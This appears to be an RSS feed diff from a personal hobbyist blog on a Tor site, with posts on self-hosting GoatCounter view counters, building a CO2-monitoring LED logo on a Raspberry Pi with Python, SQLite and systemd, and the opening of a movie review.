    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    +
    + + INET Logo That Breathes — From CAD to LEDs to a Calm Little Server + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + <blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> + +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    +
    + + Movie review: Scent of a Woman + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/ + Mon, 13 Oct 2025 08:52:10 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/ + My reaction to the movie as a not so pro movie watcher + I’m not a big movie watcher. +In fact, I don’t remember the last time I watched a whole movie in a single day. +It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.

    +

    Few points before I begin.

    +
      +
    • This was aside from the therapy session.
    • +
    • My therapist does not tell me what to do, or if I’m wrong or right or anything like that.
    • +
    • I watched this movie in about two parts in a single day!
    • +
    • I knew Al Pacino’s face from Godfather series, but didn’t know his name.
    • +
    • I’m not a big movie person, so whatever I say should be taken with a grain of salt. Just don’t be offended, take it face up and as is.
    • +
    +

    The movie is about a good young student named Chris O’Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.

    +

